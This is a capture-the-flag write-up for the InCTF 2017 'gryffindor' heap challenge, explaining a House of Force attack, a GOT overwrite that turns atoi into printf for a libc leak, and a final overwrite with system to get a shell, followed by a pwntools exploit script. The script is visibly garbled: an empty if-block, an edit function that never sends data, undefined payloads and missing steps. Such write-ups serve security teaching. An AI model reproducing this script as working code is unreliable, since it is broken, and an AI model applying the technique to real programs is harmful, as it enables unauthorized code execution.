InCTF 2017: gryffindor pwn Writeup

Challenge Author – 4rbit3r

The binary that was given was a 64-bit, dynamically linked unstripped one. Checking it’s permissions –

FORTIFY : disabled
PIE : disabled
RELRO : Partial

Okay, nothing out of the ordinary here. The program is a standard menu driven program to add, delete and edit notes. There is no use after free bug, as the pointer to the heap is nulled out after being freed. The add functionality lets us create a chunk in the heap. We control the size of the chunk but there is a lower limit of 0x80, which removes the possibility of creating a fast chunk. The edit functionality lets us write to an existing chunk. The interesting part is that the edit function asks the user for size and allows that much write access into the heap, regardless of the size of the chunk. So there is an obvious heap overflow here.

If you notice carefully, there is no way in which we can leak out a libc address. The getinp function pads our input with a null byte, thus making it impossible to leak memory. But wait, looking at the decompiled code, we see that if we enter 1337 as an option in the menu, a function ‘goodguy’  is called. This function basically prints out a heap address. So here are the things that we have that can be used to exploit this binary-

  1. Heap overflow – with which we can change the size of top chunk
  2. A heap leak.

Add to this, the fact that we control the size that is passed to malloc, and we have all the pre-requisites for a House of Force attack. With this, we can allocate a chunk into the GOT but then what? We still don’t have a libc leak, so we can’t simply overwrite a GOT address with system. But if we overwrite the GOT of a function that takes in a pointer to user input as an argument (say atoi), with the PLT address of printf then we can create a format string vulnerability and use it to leak out a libc address. So the idea of our exploit will be as follows –

  1. Perform a House of Force attack to get malloc to allocate a chunk in the GOT table.
  2. Overwrite the GOT address of atoi with the PLT address of printf.
  3. Pass an appropriate format string to atoi to leak out an address in the libc.
  4. Again overwrite the GOT address of atoi, but this time with the address of system.

Here’s a detailed summary of the exploit –

  • Enter the option as 1337 to get a heap leak.
  • House of Force
    • Allocate a chunk of any size (above the lower limit of course 🙂 )
    • Use the edit function to overflow from this chunk and overwrite the size of the top chunk with -1 (0xffffffffffffffff)
    • Calculate the size of the chunk to allocate as the difference between a GOT address (I have used read in the exploit) and the address of the current top chunk. i.e size = (GOT address) – (address of top chunk)
    • Allocate a chunk with size as calculated above. The next chunk that is allocated will lie in the GOT table.
  • Keep overwritting till the got address of atoi is reched. Now overwrite this with the PLT address of printf. Now atoi will act as printf.
  • Pass a format string to atoi and get a libc leak. Use this to calculate the address of system.
  • Next time the input for menu is asked, give three bytes to call the edit function (keep in mind that the prinf function return’s the number of characters printed).
  • Enter the index of the chunk in the GOT table and overwrite the GOT address of atoi with address of system.
  • Next time the menu input is asked, give it as ‘/bin/sh’ and when atoi is called with this as agrument, it’s interpreted as system(“/bin/sh”). And after this is executed – yay we get a shell !

Here is the exploit script –

from pwn import *
import sys

if len(sys.argv)>1:



def add(idx,size):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("Enter size of input",str(size))
    r.sendlineafter("Enter index",str(idx))

def delete(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Enter index",str(idx))

def edit(idx,size,data):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("Enter index",str(idx))
    r.sendlineafter("Enter size",str(size))

def heap_addr():
    r.sendlineafter(">> ",'1337')
    leak = int(r.recvuntil('\n'),16)
    return leak-0x10

def exploit(heap):
    payload=p64(e.plt['atoll']+6)       #These addresses have been overwrittenn with call to
    payload+=p64(e.plt['malloc']+6)     #their respective dynamic linker functions.
    payload+=p64(e.plt['setvbuf']+6)    #Overwritting the with junk would have worked as well as these functions are not called again


    edit(3,150,payload1)                #overwrite GOT of atoi with printf PLT
    r.sendlineafter(">> ","%p-%p~%p")   #This will be interpretted as printf("%p-%p~%p")


    r.sendlineafter(">> ",'aa')        # We need to print out 3 bytes to call edit - 2 'a' and one null.
    r.sendlineafter("Enter index",'aa')
    r.sendlineafter("Enter size","A"*30)
    r.sendline(payload2)                #overwrite the GOT of atoi with that of system.
    r.sendlineafter(">> ","/bin/sh")    #acts as agrument to system
    r.recvuntil(">> ")

heap = heap_addr()
print "Heap =",hex(heap)

Running this gives us the shell. And the flag was –


Any queries or feedback on this CTF is welcome!


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Create a free website or blog at

Up ↑

%d bloggers like this: